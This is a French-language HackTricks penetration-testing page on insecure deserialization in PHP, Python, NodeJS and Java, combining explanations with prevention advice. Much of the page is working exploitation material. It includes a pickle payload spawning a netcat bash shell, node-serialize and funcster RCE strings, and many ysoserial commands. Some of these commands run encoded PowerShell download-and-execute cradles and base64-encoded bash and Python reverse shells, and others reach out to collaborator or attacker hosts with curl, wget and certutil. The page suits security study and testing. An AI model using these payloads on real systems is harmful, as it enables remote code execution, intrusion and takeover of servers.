Deserialization
Reading time: 45 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Serialization est comprise comme la mĂ©thode de conversion d'un objet en un format pouvant ĂȘtre conservĂ©, dans l'intention soit de stocker l'objet soit de le transmettre dans le cadre d'une communication. Cette technique est couramment employĂ©e pour s'assurer que l'objet peut ĂȘtre recréé ultĂ©rieurement, en conservant sa structure et son Ă©tat.
Deserialization, en revanche, est le processus qui contrecarre la serialization. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.
Deserialization peut ĂȘtre dangereuse car elle peut potentiellement permettre Ă des attaquants de manipuler les serialized data pour exĂ©cuter du code malveillant ou provoquer un comportement inattendu de l'application lors du processus de reconstruction de l'objet.
PHP
Dans PHP, des magic methods spécifiques sont utilisées pendant les processus de serialization et de deserialization :
__sleep
: AppelĂ© lorsqu'un objet est en cours de serialization. Cette mĂ©thode doit renvoyer un tableau contenant les noms de toutes les propriĂ©tĂ©s de l'objet qui doivent ĂȘtre serialized. Elle est couramment utilisĂ©e pour valider des donnĂ©es en attente ou effectuer des tĂąches de nettoyage similaires.__wakeup
: AppelĂ© lorsqu'un objet est en cours de deserialization. Il est utilisĂ© pour rĂ©tablir les connexions Ă la base de donnĂ©es qui ont pu ĂȘtre perdues pendant la serialization et effectuer d'autres tĂąches de rĂ©initialisation.__unserialize
: Cette méthode est appelée à la place de__wakeup
(si elle existe) lorsqu'un objet est en cours de deserialization. Elle offre un contrĂŽle plus fin sur le processus de deserialization par rapport Ă__wakeup
.__destruct
: Cette mĂ©thode est appelĂ©e lorsqu'un objet est sur le point d'ĂȘtre dĂ©truit ou Ă la fin du script. Elle est typiquement utilisĂ©e pour des tĂąches de nettoyage, comme fermer des handles de fichiers ou des connexions Ă la base de donnĂ©es.__toString
: Cette mĂ©thode permet de traiter un objet comme une chaĂźne. Elle peut ĂȘtre utilisĂ©e pour lire un fichier ou effectuer d'autres tĂąches basĂ©es sur les appels de fonction qu'elle contient, fournissant ainsi une reprĂ©sentation textuelle de l'objet.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Si vous regardez les résultats, vous pouvez voir que les fonctions __wakeup
et __destruct
sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction __toString
est appelée lorsqu'on tente d'afficher un attribut, mais apparemment cela n'arrive plus.
warning
La méthode __unserialize(array $data)
est appelée au lieu de __wakeup()
si elle est implémentée dans la classe. Elle permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les opérations nécessaires lors de la désérialisation.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Vous pouvez abuser de la fonctionnalité autoload de PHP pour charger des fichiers php arbitraires et plus encore :
PHP - Deserialization + Autoload Classes
Sérialiser des valeurs référencées
Si pour une raison quelconque vous souhaitez sérialiser une valeur comme référence à une autre valeur sérialisée, vous pouvez :
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Prévenir PHP Object Injection avec allowed_classes
info
Le support du deuxiĂšme argument de unserialize()
(le tableau $options
) a Ă©tĂ© ajoutĂ© dans PHP 7.0. Sur les versions plus anciennes la fonction n'accepte que la chaĂźne sĂ©rialisĂ©e, rendant impossible la restriction des classes pouvant ĂȘtre instanciĂ©es.
unserialize()
va instancier chaque classe qu'il trouve dans le flux sĂ©rialisĂ© sauf indication contraire. Depuis PHP 7 le comportement peut ĂȘtre restreint avec l'option allowed_classes
:
// NEVER DO THIS â full object instantiation
$object = unserialize($userControlledData);
// SAFER â disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular â only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Si allowed_classes
est omis ou si le code s'exécute sur PHP < 7.0, l'appel devient dangereux car un attaquant peut fabriquer un payload qui abuse des méthodes magiques telles que __wakeup()
ou __destruct()
pour obtenir Remote Code Execution (RCE).
Exemple réel : Everest Forms (WordPress) CVE-2025-52709
Le plugin WordPress Everest Forms †3.2.2 a essayĂ© d'ĂȘtre dĂ©fensif avec un wrapper d'aide mais a oubliĂ© les anciennes versions de PHP :
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP â„ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Sur les serveurs tournant encore sous PHP †7.0, cette seconde branche menait à une classique PHP Object Injection lorsqu'un administrateur consultait une soumission de formulaire malveillante. Un exploit payload minimal pourrait ressembler à :
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
DÚs que l'admin a consulté l'entrée, l'objet a été instancié et SomeClass::__destruct()
a été exécuté, entraßnant une exécution de code arbitraire.
Points clés
- Transmettez toujours
['allowed_classes' => false]
(ou une liste blanche stricte) lors de l'appel Ăunserialize()
. - Auditez les wrappers dĂ©fensifs â ils oublient souvent les branches PHP hĂ©ritĂ©es.
- La mise Ă niveau vers PHP â„ 7.x seule n'est pas suffisante : l'option doit toujours ĂȘtre fournie explicitement.
PHPGGC (ysoserial for PHP)
PHPGGC peut vous aider à générer des payloads pour abuser des désérialisations PHP.
Notez que dans plusieurs cas vous ne pourrez pas trouver de moyen d'abuser d'une dĂ©sĂ©rialisation dans le code source de l'application mais vous pourrez peutâĂȘtre abuser du code d'extensions PHP externes.\ Donc, si vous le pouvez, vĂ©rifiez le phpinfo()
du serveur et recherchez sur internet (y compris parmi les gadgets de PHPGGC) des gadgets possibles que vous pourriez exploiter.
phar:// désérialisation des métadonnées
Si vous avez trouvé un LFI qui se contente de lire le fichier et n'exécute pas le code php qu'il contient, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Vous pouvez essayer d'abuser d'une désérialisation se produisant lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations read the following post:
Python
Pickle
Quand l'objet est désérialisé, la fonction ___reduce___ sera exécutée.
Lorsqu'il est exploité, le serveur pourrait renvoyer une erreur.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Avant de vérifier la technique de contournement, essayez d'utiliser print(base64.b64encode(pickle.dumps(P(),2)))
pour générer un objet compatible avec python2 si vous exécutez python3.
Pour plus d'informations sur l'évasion des pickle jails consultez :
Yaml & jsonpickle
La page suivante prĂ©sente la technique pour abuser d'une dĂ©sĂ©rialisation non sĂ©curisĂ©e dans les bibliothĂšques python de YAML et se termine par un outil pouvant ĂȘtre utilisĂ© pour gĂ©nĂ©rer RCE deserialization payload pour Pickle, PyYAML, jsonpickle and ruamel.yaml :
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS n'a pas de fonctions "magiques" comme PHP ou Python qui vont ĂȘtre exĂ©cutĂ©es simplement lors de la crĂ©ation d'un objet. Mais il existe certaines fonctions qui sont frĂ©quemment utilisĂ©es mĂȘme sans ĂȘtre appelĂ©es directement, telles que toString
, valueOf
, toJSON
.
Si vous abusez d'une désérialisation, vous pouvez compromettre ces fonctions pour exécuter d'autres code (potentiellement en abusant de prototype pollutions) et ainsi exécuter du code arbitraire lorsqu'elles sont appelées.
Une autre façon "magique" d'appeler une fonction sans l'appeler directement est de compromettre un objet qui est renvoyé par une fonction async (promise). En effet, si vous transformez cet objet de retour en une autre promise avec une propriété appelée "then" de type function, elle sera exécutée simplement parce qu'elle est retournée par une autre promise. Suivez ce lien pour plus d'infos.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
and prototype
pollution
Si vous voulez en savoir plus sur cette technique jetez un Ćil au tutoriel suivant :
NodeJS - proto & prototype Pollution
node-serialize
Cette bibliothÚque permet de sérialiser des fonctions. Exemple :
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
L'objet sérialisé ressemblera à :
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée le _$$ND_FUNC$$_
flag est appendu à l'objet sérialisé.
à l'intérieur du fichier node-serialize/lib/serialize.js
vous pouvez trouver le mĂȘme flag et voir comment le code l'utilise.
Comme vous pouvez le voir dans le dernier extrait de code, si le flag est trouvé eval
est utilisé pour désérialiser la fonction, donc en gros l'entrée utilisateur est utilisée à l'intérieur de la fonction eval
.
Cependant, simplement sérialiser une fonction ne l'exécutera pas, car il faudrait qu'une partie du code appelle y.rce
dans notre exemple et c'est trĂšs peu probable.
Quoi qu'il en soit, vous pouvez simplement modifier l'objet sérialisé en ajoutant des parenthÚses afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.
Dans le prochain extrait de code remarquez la derniĂšre parenthĂšse et comment la fonction unserialize
exécutera automatiquement le code :
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Comme indiqué précédemment, cette bibliothÚque récupérera le code aprÚs _$$ND_FUNC$$_
et l'exécutera en utilisant eval
. Par conséquent, afin d'auto-exécuter du code, vous pouvez supprimer la partie de création de la fonction et la derniÚre parenthÚse et simplement exécuter un JS oneliner comme dans l'exemple suivant :
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Vous pouvez trouver ici des informations supplémentaires sur la maniÚre d'exploiter cette vulnérabilité.
funcster
Un aspect notable de funcster est l'inaccessibilitĂ© des objets intĂ©grĂ©s standard ; ils se trouvent en dehors du scope accessible. Cette restriction empĂȘche l'exĂ©cution de code qui tente d'appeler des mĂ©thodes sur les objets intĂ©grĂ©s, entraĂźnant des exceptions telles que "ReferenceError: console is not defined"
lorsque des commandes comme console.log()
ou require(something)
sont utilisées.
MalgrĂ© cette limitation, il est possible de restaurer l'accĂšs complet au contexte global, incluant tous les objets intĂ©grĂ©s standard, grĂące Ă une approche spĂ©cifique. En tirant parti du contexte global directement, on peut contourner cette restriction. Par exemple, l'accĂšs peut ĂȘtre rĂ©tabli en utilisant le snippet suivant :
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Pour more information read this source.
serialize-javascript
Le package serialize-javascript est conçu uniquement pour la serialization et ne dispose d'aucune capacité de deserialization intégrée. Les utilisateurs doivent implémenter leur propre méthode de deserialization. L'exemple officiel suggÚre l'utilisation directe de eval
pour deserializing serialized data:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Si cette fonction est utilisée pour deserialize des objets vous pouvez easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Pour plus d'informations, lisez cette source.
Cryo library
Dans les pages suivantes, vous trouverez des informations sur la maniÚre d'abuser de cette library pour exécuter des commandes arbitraires :
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
En Java, deserialization callbacks are executed during the process of deserialization. Cette exĂ©cution peut ĂȘtre exploitĂ©e par des attaquants qui crĂ©ent des payloads malveillants dĂ©clenchant ces callbacks, conduisant potentiellement Ă l'exĂ©cution d'actions nuisibles.
Fingerprints
White Box
Pour identifier d'éventuelles vulnérabilités de serialization dans la base de code, recherchez :
- Classes qui implémentent l'interface
Serializable
. - Utilisation de
java.io.ObjectInputStream
, des fonctionsreadObject
,readUnshare
.
Portez une attention particuliĂšre Ă :
XMLDecoder
utilisé avec des paramÚtres fournis par des utilisateurs externes.- La méthode
fromXML
deXStream
, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est susceptible de problÚmes de serialization. ObjectInputStream
couplé avec la méthodereadObject
.- Implémentation de méthodes telles que
readObject
,readObjectNodData
,readResolve
, oureadExternal
. ObjectInputStream.readUnshared
.- Usage général de
Serializable
.
Black Box
Pour le test black box, recherchez des signatures or "Magic Bytes" spécifiques qui indiquent des objets java sérialisés (provenant de ObjectInputStream
) :
- Motif hexadécimal :
AC ED 00 05
. - Motif Base64 :
rO0
. - En-tĂȘtes de rĂ©ponse HTTP avec
Content-type
défini surapplication/x-java-serialized-object
. - Motif hexadécimal indiquant une compression préalable :
1F 8B 08 00
. - Motif Base64 indiquant une compression préalable :
H4sIA
. - Fichiers web avec l'extension
.faces
et le paramĂštrefaces.ViewState
. La découverte de ces motifs dans une application web devrait conduire à un examen comme détaillé dans le post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Vérifier si vulnérable
Si vous voulez comprendre comment fonctionne un Java Deserialized exploit, vous devriez consulter Basic Java Deserialization, Java DNS Deserialization, et CommonsCollection1 Payload.
SignedObject-gated deserialization et atteignabilité pré-auth
Les codebases modernes encapsulent parfois la deserialization avec java.security.SignedObject
et valident une signature avant d'appeler getObject()
(qui dĂ©sĂ©rialise l'objet interne). Cela empĂȘche les classes gadget arbitraires au niveau top-level mais peut rester exploitable si un attaquant parvient Ă obtenir une signature valide (par ex., compromission de la clĂ© privĂ©e ou un signing oracle). De plus, les flux de gestion d'erreurs peuvent gĂ©nĂ©rer des jetons liĂ©s Ă la session pour les utilisateurs non authentifiĂ©s, exposant des sinks normalement protĂ©gĂ©s pre-auth.
Pour une Ă©tude de cas concrĂšte avec des requĂȘtes, IoCs et des recommandations de durcissement, voir :
Java Signedobject Gated Deserialization
Test White Box
Vous pouvez vérifier si une application connue vulnérable est installée.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Vous pouvez essayer de vĂ©rifier toutes les bibliothĂšques connues pour ĂȘtre vulnĂ©rables et pour lesquelles Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
Vous pouvez aussi utiliser gadgetinspector pour rechercher d'éventuelles gadget chains exploitables.
Quand vous lancez gadgetinspector (aprÚs l'avoir compilé), ne vous préoccupez pas des tonnes d'avertissements/erreurs qu'il affiche et laissez-le terminer. Il écrira toutes les trouvailles sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne créera pas d'exploit et peut indiquer des faux positifs.
Test en boĂźte noire
En utilisant l'extension Burp gadgetprobe vous pouvez identifier quelles bibliothĂšques sont disponibles (et mĂȘme les versions). Avec cette information il peut ĂȘtre plus facile de choisir un payload pour exploiter la vulnĂ©rabilitĂ©.
Read this to learn more about GadgetProbe.
GadgetProbe se concentre sur les ObjectInputStream
deserializations.
En utilisant l'extension Burp Java Deserialization Scanner vous pouvez identifier vulnerable libraries exploitables avec ysoserial et exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner se concentre sur les désérialisations ObjectInputStream
.
Vous pouvez aussi utiliser Freddy pour detect deserializations vulnerabilities dans Burp. Ce plugin détectera not only ObjectInputStream
related vulnerabilities mais aussi les vulnérabilités provenant des bibliothÚques de désérialisation Json et Yml. En mode actif, il tentera de les confirmer en utilisant des payloads sleep ou DNS.
You can find more information about Freddy here.
Test de sérialisation
Il ne s'agit pas seulement de vĂ©rifier si une bibliothĂšque vulnĂ©rable est utilisĂ©e par le serveur. Parfois vous pouvez modifier les donnĂ©es Ă l'intĂ©rieur de l'objet sĂ©rialisĂ© et bypass certains contrĂŽles (peut-ĂȘtre vous accorder des privilĂšges admin dans une webapp).
Si vous trouvez un java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Savoir quelles données vous envoyez facilitera leur modification et le contournement de certaines vérifications.
Exploit
ysoserial
L'outil principal pour exploiter les désérialisations Java est ysoserial (download here). Vous pouvez aussi envisager d'utiliser ysoseral-modified qui vous permettra d'utiliser des commandes complexes (avec des pipes par exemple).
Notez que cet outil est focused sur l'exploitation des ObjectInputStream
.
Je recommanderais de start using the "URLDNS" payload before a RCE payload pour tester si l'injection est possible. Quoi qu'il en soit, notez que le payload "URLDNS" peut ne pas fonctionner alors qu'un autre payload RCE fonctionne.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Lors de la crĂ©ation d'un payload pour java.lang.Runtime.exec() vous cannot use special characters comme ">" ou "|" pour rediriger la sortie d'une exĂ©cution, "$()" pour exĂ©cuter des commandes ou mĂȘme pass arguments Ă une commande sĂ©parĂ©s par des spaces (vous pouvez faire echo -n "hello world"
mais vous ne pouvez pas faire python2 -c 'print "Hello world"'
). Pour encoder correctement le payload vous pouvez use this webpage.
N'hésitez pas à utiliser le script suivant pour créer all the possible code execution payloads pour Windows et Linux puis les tester sur la page web vulnérable :
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour crĂ©er davantage d'exploits. Plus d'informations sur cet outil dans les slides de la prĂ©sentation oĂč l'outil a Ă©tĂ© prĂ©sentĂ© : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec peut ĂȘtre utilisĂ© pour gĂ©nĂ©rer des payloads pour exploiter diffĂ©rentes bibliothĂšques de sĂ©rialisation Json et Yml en Java.
Pour compiler le projet, j'ai dû ajouter ces dépendances dans pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installez maven, et compilez le projet:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
En savoir plus sur cette bibliothĂšque Java JSON : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Si vous voulez tester des ysoserial payloads, vous pouvez exécuter cette webapp : https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Pourquoi
Java utilise beaucoup la sérialisation pour divers usages, tels que :
- HTTP requests : la sérialisation est largement employée dans la gestion des paramÚtres, ViewState, cookies, etc.
- RMI (Remote Method Invocation) : le protocole Java RMI, qui repose entiÚrement sur la sérialisation, est une pierre angulaire de la communication distante dans les applications Java.
- RMI over HTTP : cette méthode est couramment utilisée par les applications web à client lourd basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
- JMX (Java Management Extensions) : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
- Custom Protocols : en Java, la pratique standard implique la transmission d'objets Java bruts, ce qui sera démontré dans les exploit examples à venir.
Prévention
Objets transient
Une classe qui implémente Serializable
peut marquer comme transient
tout objet Ă l'intĂ©rieur de la classe qui ne devrait pas ĂȘtre sĂ©rialisable. Par exemple :
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Ăviter la sĂ©rialisation d'une classe qui doit implĂ©menter Serializable
Dans des scĂ©narios oĂč certains objets doivent implĂ©menter l'interface Serializable
en raison de la hiĂ©rarchie de classes, il existe un risque de dĂ©sĂ©rialisation involontaire. Pour l'empĂȘcher, assurez-vous que ces objets ne peuvent pas ĂȘtre dĂ©sĂ©rialisĂ©s en dĂ©finissant une mĂ©thode final
readObject()
qui lance systématiquement une exception, comme montré ci-dessous :
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Renforcer la sécurité de la désérialisation en Java
Personnaliser java.io.ObjectInputStream
est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode convient lorsque :
- Le code de désérialisation est sous votre contrÎle.
- Les classes attendues pour la désérialisation sont connues.
Redéfinissez la méthode resolveClass()
pour limiter la dĂ©sĂ©rialisation uniquement aux classes autorisĂ©es. Cela empĂȘche la dĂ©sĂ©rialisation de toute classe Ă l'exception de celles explicitement autorisĂ©es, comme dans l'exemple suivant qui restreint la dĂ©sĂ©rialisation Ă la classe Bicycle
uniquement :
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement offre une solution de repli lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement pour blacklisting harmful classes, en utilisant un paramÚtre JVM:
-javaagent:name-of-agent.jar
Il fournit un moyen de sĂ©curiser la dĂ©sĂ©rialisation de maniĂšre dynamique, idĂ©al pour les environnements oĂč des modifications de code immĂ©diates sont impraticables.
Check and example in rO0 by Contrast Security
